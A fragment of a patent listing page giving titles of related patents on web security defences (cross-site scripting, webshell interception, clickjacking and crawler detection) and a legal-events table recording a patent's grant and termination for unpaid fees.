WO2015139507A1 (zh) | 一种检测下载文件安全性的方法及装置 | |
CN105592017B (zh) | 跨站脚本攻击的防御方法及系统 | |
CN106713318B (zh) | 一种web站点安全防护方法及系统 | |
CN103559235A (zh) | 一种在线社交网络恶意网页检测识别方法 | |
US20100306184A1 (en) | Method and device for processing webpage data | |
CN102129528A (zh) | 一种web网页篡改识别方法及系统 | |
CN102819710A (zh) | 基于渗透测试的跨站点脚本漏洞检测方法 | |
CN107612926B (zh) | 一种基于客户端识别的一句话WebShell拦截方法 | |
CN104767747A (zh) | 点击劫持安全检测方法和装置 | |
CN113518077A (zh) | 一种恶意网络爬虫检测方法、装置、设备及存储介质 | |
CN111628990A (zh) | 识别攻击的方法、装置和服务器 |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
C06 | Publication | ||
PB01 | Publication | ||
C10 | Entry into substantive examination | ||
SE01 | Entry into force of request for substantive examination | ||
C14 | Grant of patent or utility model | ||
GR01 | Patent grant | ||
CF01 | Termination of patent right due to non-payment of annual fee | ||
CF01 | Termination of patent right due to non-payment of annual fee |
Granted publication date: 20140806 Termination date: 20180519 |